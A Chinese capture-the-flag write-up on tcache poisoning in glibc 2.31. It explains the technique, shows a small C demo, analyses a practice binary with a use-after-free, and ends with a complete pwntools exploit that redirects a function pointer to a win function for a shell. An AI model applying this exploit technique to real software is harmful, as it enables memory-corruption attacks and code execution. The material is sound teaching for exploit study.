【Pwn】堆学习之glibc2.31下的tcache投毒
0x1 tcache投毒是什么
· tcache投毒的本质就是把tcache单链表里的next指针改成想要的地址,利用“程序从tcache中拿取chunk时会使head指向next使next成为新的head,在下一次拿取时把head指向的地址作为可写入空间返回”的机制将目标地址返回实现任意写的手法。注意:返回的地址是将直接用于写入的地址,相当于正常chunk的user_data,所以写入目标地址时不需要-0x10。
0x2 tcache投毒实例
· 使用如下实例:
#include <stdio.h>
#include <stdlib.h>
int main(){
char *a = malloc(0x30);
char *b = malloc(0x30);
free(a);
free(b);
*(size_t *)b = 0x555555558600;
char *c = malloc(0x30);
char *d = malloc(0x30);
}
· 两次free且目标地址写入后两个chunk的状态:

· 可以看到b的user_data+0x00已经被写为了目标地址。下面第一次malloc时,chunk_c会正常分配,head会指向chunk_b的next即我们写入的目标地址并将其作为新的head,第二次malloc时0x555555558600就会被tcache误认成一个合法的user_data头从而返回给chunk_d。如图所示(chunk_d分配后):

· 可以看到chunk_d成功分配到了我们伪造的地址。此时若伪造地址可写,就可以利用原本向chunk_d写入的函数对目标地址进行写操作。
0x3 例题
0x1 保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
0x2 伪码
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
control = bye;
while ( 1 )
{
menu();
switch ( read_int() )
{
case 1:
add();
break;
case 2:
delete_chunk();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
trigger();
break;
case 6:
puts("bye");
return 0;
default:
puts("invalid");
break;
}
}
}
int add()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("idx: ");
v1 = read_int();
if ( v1 >= 8 )
return puts("invalid");
if ( chunks[v1] )
return puts("occupied");
chunks[v1] = malloc(0x30uLL);
if ( !chunks[v1] )
exit(0);
printf("content: ");
read_n(chunks[v1], 0x30uLL);
return puts("done");
}
int delete_chunk()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("idx: ");
v1 = read_int();
if ( v1 >= 8 || !chunks[v1] )
return puts("invalid");
free(chunks[v1]);
return puts("done");
}
int edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("idx: ");
v1 = read_int();
if ( v1 >= 8 || !chunks[v1] )
return puts("invalid");
printf("content: ");
read_n(chunks[v1], 0x30uLL);
return puts("done");
}
int trigger()
{
if ( control )
return control();
else
return puts("nothing happens");
}
0x3 漏洞分析
· 程序没有UAF保护,可以直接写free_chunk的next段,进行tcache投毒,从而把control作为可写字段返回,再向control写入win()的地址,最后调用trigger()拿shell。
0x4 exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--no
close', '-e'])
io = process('./pwn_patched')
#io = remote()
'''
think...
malloc()
malloc()
free(a)
free(b)
b.next -> control
malloc()
malloc() -> control
control -> win
'''
control = 0x4040e0
win = 0x401303
def memu(idx):
io.recvuntil('6. quit\n> ')
io.sendline(idx)
def add(idx, data):
memu(str(1))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.sendline(data)
def delete(idx):
memu(str(2))
io.recvuntil('idx: ')
io.sendline(idx)
def edit(idx, data):
memu(str(3))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.sendline(data)
add(str(0), 'A'*0x30)
add(str(1), 'B'*0x30)
delete(str(0))
delete(str(1))
edit(str(1), p64(control))
add(str(2), 'C'*0x30)
add(str(3), 'D'*0x30)
payload1 = p64(win)
payload1 += b'\0'*40
edit(str(3), payload1)
memu(str(5))
io.interactive()

浙公网安备 33010602011771号